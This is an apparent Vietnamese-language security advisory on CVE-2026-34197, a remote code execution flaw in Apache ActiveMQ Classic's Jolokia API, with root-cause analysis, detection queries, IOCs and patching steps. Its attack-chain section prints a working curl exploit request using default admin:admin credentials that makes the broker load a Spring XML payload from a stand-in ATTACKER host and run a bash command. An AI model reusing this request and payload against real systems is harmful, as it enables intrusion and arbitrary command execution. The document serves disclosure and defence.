CVE-2026-34197: Lỗ Hổng RCE Ẩn 13 Năm Trong Apache ActiveMQ Đang Bị Khai Thác Chủ Động

---

Tóm tắt rủi ro

Ngày 16/04/2026, CISA chính thức thêm CVE-2026-34197 vào Known Exploited Vulnerabilities (KEV) Catalog sau khi xác nhận có bằng chứng khai thác chủ động trong thực tế. Các cơ quan FCEB (Federal Civilian Executive Branch) có deadline patch là 30/04/2026. CISA khuyến nghị mạnh các tổ chức khu vực tư nhân ưu tiên xử lý ngay cả khi không thuộc phạm vi bắt buộc của BOD 22-01.

CVE-2026-34197 là lỗ hổng remote code execution (RCE) trong Apache ActiveMQ Classic, ẩn trong codebase suốt 13 năm mà không ai phát hiện. Horizon3.ai researcher Naveen Sunkavally tìm ra nó trong 10 phút với sự hỗ trợ của Claude. Attacker có thể gọi một management operation qua Jolokia API của ActiveMQ để lừa broker tải file cấu hình từ xa và thực thi lệnh OS tùy ý.

Điều kiện khai thác: Yêu cầu credential đối với hầu hết phiên bản. Tuy nhiên, default credentials admin:admin vẫn còn phổ biến ở nhiều môi trường triển khai. Trên các phiên bản 6.0.0 đến 6.1.1, một lỗ hổng riêng biệt là CVE-2024-32114 làm lộ Jolokia API hoàn toàn không cần xác thực, biến CVE-2026-34197 thành unauthenticated RCE.

Bề mặt tấn công: Shadowserver Foundation ghi nhận 6.364 IP chạy phiên bản ActiveMQ vulnerable có thể truy cập từ internet tính đến ngày 19/04/2026. Châu Á dẫn đầu với 2.925 server, tiếp theo là Bắc Mỹ (1.409) và Châu Âu (1.334).

Hành động ngay: Patch lên ActiveMQ Classic 5.19.6 hoặc 6.2.5. Nếu chưa patch được, restrict access đến port 8161 và tắt Jolokia endpoint.

---

Bối cảnh: Apache ActiveMQ và lịch sử bị tấn công

Apache ActiveMQ là open-source Java message broker ra mắt năm 2004, đóng vai trò middleware để decoupling services và quản lý message queue trong distributed system. Nó được triển khai rộng rãi trong tài chính, y tế, chính phủ và e-commerce. ActiveMQ tồn tại hai nhánh: ActiveMQ Classic (bản gốc) và ActiveMQ Artemis (implementation mới hơn). CVE-2026-34197 chỉ ảnh hưởng Classic.

Đây không phải lần đầu tiên ActiveMQ xuất hiện trong CISA KEV. Catalog hiện có ba CVE của ActiveMQ được xác nhận khai thác thực tế:

Khi một product family đã có tiền lệ bị exploit, các lỗ hổng mới trong cùng stack thường được threat actor operationalize rất nhanh vì họ đã có sẵn công cụ, infrastructure và hiểu biết về post-exploitation. Với ActiveMQ, "methods for exploitation and post-exploitation are well-known" là nhận xét thẳng thắn của Horizon3.ai.

---

Thông tin vulnerability

---

Timeline sự kiện

---

Cơ chế kỹ thuật: Tại sao lỗ hổng này tồn tại 13 năm

Kiến trúc liên quan

ActiveMQ Classic broker đi kèm web-based management console trên port 8161, chạy trên Jetty web server. Console này bao gồm Jolokia, một HTTP-to-JMX bridge cho phép gọi broker management operations thông qua REST API. Đây là điểm vào của toàn bộ attack chain.

Năm 2023, sau khi CVE-2022-41678 được fix, Apache đã restrict Jolokia sang read-only và block access vào các MBean nguy hiểm của JDK như FlightRecorder. Tuy nhiên, để web console tiếp tục hoạt động bình thường, Apache đã thêm một blanket allow rule cho tất cả operations trên tất cả ActiveMQ MBean:

<allow>
  <mbean>
    <name>org.apache.activemq:*</name>
    <attribute>*</attribute>
    <operation>*</operation>
  </mbean>
</allow>

Đây chính là root cause. <operation>*</operation> có nghĩa mọi operation trên mọi ActiveMQ MBean đều có thể gọi qua Jolokia. Và một trong số các operations đó dẫn thẳng đến RCE.

Attack chain: 3 bước từ HTTP request đến OS command execution

Hình 1. Exploitation chain: Jolokia API gọi addNetworkConnector, chain qua vm:// transport và xbean: scheme để load remote Spring XML (Nguồn: Horizon3.ai)

Bước 1: Gọi addNetworkConnector qua Jolokia

ActiveMQ hỗ trợ kết nối nhiều broker lại với nhau trong một network để phân tải và high availability. Operation addNetworkConnector(String) trên broker MBean thiết lập các kết nối broker-to-broker này tại runtime. Nó nhận vào một discovery URI.

Attacker gọi operation này qua Jolokia HTTP API:

curl -s -X POST http://TARGET:8161/api/jolokia/ \
  -H "Content-Type: application/json" \
  -H "Origin: http://TARGET:8161" \
  -u admin:admin \
  -d '{
    "type": "exec",
    "mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
    "operation": "addNetworkConnector",
    "arguments": ["static:(vm://rce?brokerConfig=xbean:http://ATTACKER:8888/payload.xml)"]
  }'

Bước 2: vm:// transport tạo broker mới từ remote config

URI được crafted có dạng vm://rce?brokerConfig=xbean:http://ATTACKER:8888/payload.xml. VM transport (vm://) là in-process transport được thiết kế ban đầu cho unit testing và embedded use case, cho phép client và broker giao tiếp qua direct method call trong cùng JVM thay vì qua TCP.

Khi vm:// URI tham chiếu một broker không tồn tại (tên "rce" không có broker nào tương ứng), ActiveMQ tự động tạo broker mới theo mặc định và đọc tham số brokerConfig để biết nơi tải cấu hình. Tham số này trỏ đến attacker-controlled URL.

Bước 3: xbean: scheme nạp Spring XML từ xa, Spring instantiate bean và thực thi lệnh

Prefix xbean: báo cho ActiveMQ xử lý URL như Spring XML config, đẩy nó qua ResourceXmlApplicationContext. Spring khởi tạo tất cả bean definition trong file, dẫn đến RCE.

Payload XML mẫu dùng Spring MethodInvokingFactoryBean để gọi Runtime.getRuntime().exec():

<bean id="exec" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
  <property name="targetObject">
    <bean class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
      <property name="targetClass" value="java.lang.Runtime"/>
      <property name="targetMethod" value="getRuntime"/>
    </bean>
  </property>
  <property name="targetMethod" value="exec"/>
  <property name="arguments">
    <list>
      <array value-type="java.lang.String">
        <value>/bin/bash</value>
        <value>-c</value>
        <value>COMMAND_HERE</value>
      </array>
    </list>
  </property>
</bean>

Đây là cùng loại sink đã được dùng trong CVE-2023-46604, cũng đạt RCE bằng cách ép ActiveMQ load remote Spring XML configuration file.

Hình 2. Quá trình vm:// transport tạo broker mới và load attacker-controlled configuration (Nguồn: Horizon3.ai)

Unauthenticated RCE trên phiên bản 6.0.0 đến 6.1.1

CVE-2024-32114 là lỗ hổng riêng biệt trong ActiveMQ 6.x, trong đó path /api/* bao gồm Jolokia endpoint bị vô tình loại khỏi security constraints của web console. Jolokia hoàn toàn không cần xác thực trên các phiên bản 6.0.0 đến 6.1.1.

Khi chain hai CVE này lại: CVE-2024-32114 loại bỏ yêu cầu authentication, CVE-2026-34197 cung cấp RCE primitive. Kết quả là unauthenticated RCE hoàn chỉnh không cần bất kỳ credential nào.

Hình 3. Unauthenticated RCE thành công trên phiên bản 6.0.0-6.1.1 khi chain với CVE-2024-32114 (Nguồn: Horizon3.ai)

Tại sao lỗ hổng ẩn 13 năm

Câu trả lời nằm ở cách từng component được phát triển độc lập: Jolokia là HTTP-JMX bridge từ project bên thứ ba, JMX là Java management framework, Network Connector là tính năng clustering của ActiveMQ, và VM transport là in-process transport cho embedded use case. Mỗi feature hoạt động đúng như thiết kế trong isolation. Nguy hiểm chỉ xuất hiện khi chúng kết hợp với nhau theo một chuỗi mà không ai từng xem xét toàn diện.

Blanket allow rule được thêm vào năm 2023 để fix CVE-2022-41678 là trigger cuối cùng, nhưng khả năng khai thác đã tiềm ẩn từ khi VM transport và xbean: scheme cùng tồn tại.

---

Tình trạng khai thác thực tế

SAFE Security xác nhận threat actor đang tích cực nhắm vào các Jolokia management endpoint lộ ra ngoài internet trong các deployment ActiveMQ Classic. Fortinet FortiGuard Labs ghi nhận hàng chục exploitation attempt trong vài ngày sau khi disclosure, đỉnh điểm vào 14/04/2026, chỉ một tuần sau khi blog Horizon3.ai được public.

Pattern này nhất quán với trend đang được quan sát rộng rãi: exploitation timeline tiếp tục rút ngắn. Attacker không cần phát triển exploit từ đầu, họ đọc public research và viết script trong vài giờ. Với một lỗ hổng CVSS 8.8 trên phần mềm middleware phổ biến, window giữa disclosure và exploitation đang co lại về đơn vị ngày, không phải tuần.

ActiveMQ đặc biệt hấp dẫn vì broker thường nằm sâu trong enterprise network, kết nối đến nhiều application, và sở hữu mức độ trust cao. Compromise một ActiveMQ instance không chỉ là một server bị mất, mà là bàn đạp vào toàn bộ data pipeline nội bộ.

---

MITRE ATT&CK Mapping

---

Detection

Exploit để lại dấu vết rõ ràng trong ActiveMQ broker log. Đây là điểm tích cực hiếm có so với nhiều vulnerability khác: ngay cả khi không có EDR, log file của broker đủ để phát hiện exploitation attempt.

Broker log pattern

INFO | Network Connector DiscoveryNetworkConnector:NC:BrokerService[localhost] started
INFO | Establishing network connection from vm://localhost to \
  vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
WARN | Could not connect to remote URI: vm://rce?create=true&\
  brokerConfig=xbean:http://X.X.X.X:8888/payload.xml: The configuration has \
  no BrokerService instance for resource: xbean:http://X.X.X.X:8888/payload.xml
...
INFO | Network Connector DiscoveryNetworkConnector:NC:BrokerService[localhost] stopped

Lưu ý quan trọng: WARN message về configuration failure xuất hiện sau khi payload đã thực thi. Thấy WARN không có nghĩa là exploit thất bại, mà ngược lại, lệnh đã chạy rồi. Broker sẽ lặp lại connection attempt vài lần trước khi network connector dừng.

Trong hoạt động bình thường của broker, không bao giờ xuất hiện pattern vm:// URI kèm brokerConfig=xbean:http. Đây là indicator cực kỳ tin cậy, false positive gần như không xảy ra.

SIEM / Log search query

# Grep trực tiếp trong activemq.log
grep -i "brokerConfig=xbean:http" /opt/activemq/data/activemq.log
grep -i "vm://.*brokerConfig" /opt/activemq/data/activemq.log

# Elastic / Splunk
source="activemq.log"
| search "brokerConfig=xbean:http" OR "vm://*brokerConfig*"
| table _time, message

# Regex pattern cho SIEM
pattern: "vm://[^?]+\?.*brokerConfig=xbean:https?://"

Network indicators

# Outbound HTTP từ ActiveMQ process đến IP lạ sau khi nhận POST /api/jolokia/
# Đặc biệt nếu request URL trả về file XML

# Web Access Log: Hunt POST request chứa addNetworkConnector
grep "addNetworkConnector" /opt/activemq/data/access.log
grep "POST /api/jolokia" /opt/activemq/data/access.log

Process indicators

# Child process bất thường spawned bởi Java ActiveMQ process
# trên Linux: dùng auditd hoặc EDR
auditctl -a always,exit -F arch=b64 -S execve \
  -F ppid=$(pgrep -f activemq) -k activemq_child_exec

# Trên Windows: Sysmon Event ID 1
# ParentImage: *\java.exe
# ParentCommandLine: *activemq*
# Image: *\cmd.exe OR *\powershell.exe OR *\bash.exe

Kiểm tra nhanh phiên bản đang chạy

# Kiểm tra version ActiveMQ Classic
find / -name "activemq-*.jar" 2>/dev/null | head -5
# Hoặc qua web console về /admin/ → version hiển thị ở footer

# Verify Jolokia có đang exposed không
curl -s http://localhost:8161/api/jolokia/version
# Nếu trả về JSON với agent info: Jolokia đang bật
# Nếu trả về 401: Jolokia bật và cần auth (tốt hơn, nhưng vẫn cần patch)
# Nếu connection refused hoặc 404: Jolokia bị tắt (tốt)

---

Nhận định

Lỗ hổng "hiding in plain sight" và bài học về attack surface review

13 năm là một khoảng thời gian dài bất thường cho một lỗ hổng severity cao trong phần mềm open source có cộng đồng đông đảo. Nhưng nhìn lại, nó có lý do rõ ràng: không ai xem xét toàn bộ chuỗi Jolokia → JMX → Network Connector → VM transport → xbean: scheme như một attack path hoàn chỉnh.

Đây là dạng lỗ hổng "component composition", trong đó từng component riêng lẻ hoạt động đúng thiết kế, nhưng kết hợp lại tạo ra behavior nguy hiểm không ai dự tính. Dạng này khó tìm bằng scan tự động hay review từng file riêng lẻ, nhưng lại rất phù hợp với AI-assisted analysis vốn có khả năng stitching together các mảnh logic rời rạc.

Điều đáng chú ý là Sunkavally tìm ra lỗ hổng này trong 10 phút với Claude. Không phải vì Claude "thông minh hơn" researcher con người, mà vì AI không bị anchor bởi mental model về "đây là feature X, không liên quan đến security" như một developer quen với codebase lâu năm. AI tiếp cận code không có assumption.

Default credential là điểm yếu dai dẳng

Vulnerability này "requires authentication" trên giấy, nhưng admin:admin là default credential không thay đổi và vẫn còn phổ biến trong nhiều deployment. Khi authentication barrier là một cặp credential mà bất kỳ ai search Google cũng tìm được trong 30 giây, "authenticated RCE" thực tế không khác unauthenticated RCE bao nhiêu trong môi trường real-world.

Đây là pattern lặp đi lặp lại trong middleware security: phần mềm được triển khai với cấu hình mặc định trong internal network, sau đó bị exposed ra internet dần dần theo thời gian khi infrastructure thay đổi, và credential mặc định không bao giờ được đổi vì "nó chỉ là internal tool".

ActiveMQ có lịch sử bị ransomware nhắm đến

CVE-2023-46604 đã được TellYouThePass ransomware gang dùng như zero-day. Với CVE-2026-34197 đã có PoC public và đang được khai thác chủ động, đây là thời điểm các nhóm ransomware và IAB (Initial Access Broker) quan tâm nhiều nhất. Một ActiveMQ broker bị compromise là foothold vào toàn bộ message bus nội bộ, thứ thường kết nối đến database, payment service, và các backend quan trọng khác.

---

Khuyến nghị hành động

Immediate (0-24h)

Xác định ngay tất cả ActiveMQ Classic instance trong môi trường, bao gồm cả những instance chạy trong container, Kubernetes, hay embedded trong application server:

# Tìm ActiveMQ process đang chạy
ps aux | grep -i activemq

# Tìm jar file của ActiveMQ
find / -name "activemq-broker-*.jar" 2>/dev/null

# Tìm ActiveMQ container trong Kubernetes
kubectl get pods -A -o json | jq '.items[] |
  select(.spec.containers[].image | contains("activemq")) |
  {name: .metadata.name, namespace: .metadata.namespace}'

Kiểm tra version mỗi instance. Nếu đang chạy phiên bản trước 5.19.6 hoặc trước 6.2.5, instance đó vulnerable. Nếu đang chạy 6.0.0 đến 6.1.1, coi như unauthenticated RCE và xử lý khẩn cấp nhất.

Kiểm tra ngay broker log tìm dấu hiệu đã bị exploit:

grep -i "brokerConfig=xbean:http" /path/to/activemq/data/activemq.log

Nếu có kết quả, đây là incident, không phải vulnerability management. Chuyển sang incident response procedure.

Short-term (1-7 ngày)

Patch là ưu tiên số 1:

# Download phiên bản đã patch
# ActiveMQ Classic 5.x branch
wget https://activemq.apache.org/components/classic/download/

# Verify checksum trước khi deploy
sha512sum apache-activemq-5.19.6-bin.tar.gz
# So với checksum chính thức trên trang Apache

Nếu chưa patch được ngay, áp dụng workaround:

Restrict access đến Jolokia endpoint tại network level:

# iptables: Chỉ cho phép trusted IP truy cập port 8161
iptables -A INPUT -p tcp --dport 8161 -s TRUSTED_IP -j ACCEPT
iptables -A INPUT -p tcp --dport 8161 -j DROP

# Hoặc trong cấu hình firewall của tổ chức: block 8161 từ tất cả
# nguồn không phải admin network

Thay đổi default credential ngay:

<!-- File: conf/jetty-realm.properties -->
<!-- Thay dòng: admin: admin, admin -->
admin: STRONG_RANDOM_PASSWORD, admin

Tắt hoặc restrict Jolokia nếu không cần thiết cho operations:

<!-- File: conf/jolokia-access.xml -->
<!-- Thêm restrict để giới hạn remote access -->
<restrict>
  <remote>
    <host>127.0.0.1</host>
  </remote>
</restrict>

Setup monitoring:

# Continuous monitoring: check log mỗi phút
watch -n 60 'grep -c "brokerConfig=xbean:http" \
  /opt/activemq/data/activemq.log && echo "ALERT: Exploit attempt detected"'

# Hoặc tích hợp vào SIEM với alert real-time
tail -f /opt/activemq/data/activemq.log | grep --line-buffered \
  "brokerConfig=xbean:http" | while read line; do
  echo "[$(date)] ALERT: $line" | mail -s "ActiveMQ Exploit Attempt" soc@company.com
done

Verify Jolokia exposure:

Từ mạng bên ngoài hoặc từ vị trí attacker có thể access, kiểm tra:

# Test access vào Jolokia endpoint
curl -s http://TARGET:8161/api/jolokia/version

# Nếu trả về agent info mà không cần auth trên phiên bản 6.0.0-6.1.1:
# Unauthenticated RCE risk, xử lý ngay

Đăng ký với Shadowserver Foundation để nhận alert nếu ActiveMQ instance của tổ chức xuất hiện trong daily scan của họ.

Long-term

Đưa middleware security vào scope vulnerability management định kỳ. ActiveMQ, Kafka, RabbitMQ, IBM MQ và các message broker khác thường bị bỏ qua trong patch cycle vì được coi là "infrastructure" thay vì "application", dẫn đến version lag kéo dài.

Thiết lập policy cấm deploy với default credential cho bất kỳ middleware nào. Đây nên là mandatory check trong CI/CD pipeline và infrastructure provisioning, không phải checklist thủ công.

Network segmentation cho broker port là control quan trọng: port quản lý như 8161 không nên accessible từ internet hay từ toàn bộ internal network. Chỉ các IP cụ thể cần access management console mới được phép.

Xem xét áp dụng AI-assisted code review cho các component security-critical, đặc biệt là những component có nhiều feature phát triển độc lập có thể interact nguy hiểm khi kết hợp. Chiến lược này đang nhanh chóng trở thành standard trong vulnerability research cũng như defensive application security.

---

IOC và Indicators

# Log pattern (phổ biến nhất, false positive gần như không có)
"brokerConfig=xbean:http"         # Trong activemq.log
"vm://.*brokerConfig"             # Trong activemq.log
"addNetworkConnector"             # Trong web access log tại POST /api/jolokia/

# Phiên bản vulnerable
ActiveMQ Classic trước 5.19.6
ActiveMQ Classic trước 6.2.5
ActiveMQ Classic 6.0.0-6.1.1    # Unauthenticated khi chain CVE-2024-32114

# Network pattern
Outbound HTTP từ Java/ActiveMQ process đến IP ngoài, đặc biệt sau
khi nhận POST đến /api/jolokia/ với body chứa "addNetworkConnector"

# Process pattern
Child process của java.exe hoặc java (activemq) là:
  /bin/bash, /bin/sh, cmd.exe, powershell.exe

# Phiên bản đã patch (target deployment)
ActiveMQ Classic 5.19.6
ActiveMQ Classic 6.2.5

---

Nguồn tham khảo:

• CVE-2026-34197 ActiveMQ RCE via Jolokia API — Horizon3.ai (Naveen Sunkavally)
• CISA Adds One Known Exploited Vulnerability to Catalog: CVE-2026-34197 — CISA
• Apache ActiveMQ CVE-2026-34197 Added to CISA KEV Amid Active Exploitation — The Hacker News
• CISA tells feds to patch 13-year-old Apache ActiveMQ bug — The Register
• Apache ActiveMQ CVE-2026-34197 RCE: 6,400 Servers at Risk — fdaytalk (Shadowserver data)